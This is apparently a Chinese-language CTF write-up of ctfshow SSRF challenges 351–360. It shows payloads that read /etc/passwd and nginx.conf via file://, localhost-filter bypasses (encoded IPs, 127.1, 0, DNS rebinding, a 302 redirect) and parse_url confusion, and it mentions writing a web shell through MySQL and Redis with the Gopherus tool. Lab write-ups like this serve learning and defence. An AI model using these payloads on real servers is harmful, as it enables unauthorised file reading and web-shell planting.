ctfshow web之ssrf

351

post数据url=file:///etc/passwd,有回显,从Burp抓包信息我看到了是nginx尝试读取nginx的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
url=file:///etc/nginx/nginx.conf
daemon off;
worker_processes auto;

error_log /var/log/nginx/error.log warn;

events {
worker_connections 1024;
}

http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;

server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php;

proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

location / {
try_files $uri $uri/ /index.php?$args;
}

location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}

}
}

读取flag

1
url=http://127.0.0.1/flag.php

352-353

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

进制绕过,这里有个在线转换网站

https://tool.520101.com/wangluo/jinzhizhuanhuan/

然后post

1
url=http://2130706433/flag.php

偷偷拉了大佬的总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
还有很多方式不想多写了
url=http://0/flag.php
url=http://0.0.0.0/flag.php

354

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

法一:DNS-Rebinding攻击绕过

url=http://r.xxx.ceye.io/flag.php 自己去ceye.io注册绑定127.0.0.1然后记得前面加r

原理参考:https://zhuanlan.zhihu.com/p/89426041

法二:302跳转绕过也行,在自己的网站主页加上这个

1
2
<?php
header("Location:http://127.0.0.1/flag.php");

355

1
url=http://127.1/flag.php

356

要求长度小于3
payload:http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

357

FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
用web354说过的DNS-Rebinding与302跳转即可解题

358

这里的正则表示以http://ctf.开头,以show结尾,即匹配http://ctf.*show

还有一个重点就是parse_url函数,具体查看php手册

最终payload(127.0.0.1也可以换成其他形式):

1
2
POST:url=http://ctf.@127.0.0.1/flag.php?show
POST:url=http://ctf.@127.0.0.1/flag.php#show

具体原理:
如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容,如果不在show前面加#或?,会把show也解析到path中,得不到想要的结果

在这里插入图片描述

359(mysql)

抓包发现

在这里插入图片描述

发现这个地方也许可以进行ssrf

利用工具https://github.com/tarunkant/Gopherus

在这里插入图片描述

写入一句话

把下划线后面的内容url编码一次。再传出去

360(redis)

还是用这个工具 这题打的是redis

在这里插入图片描述

默认生成的是 shell.php 然后还是要记住编码_后面的内容

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~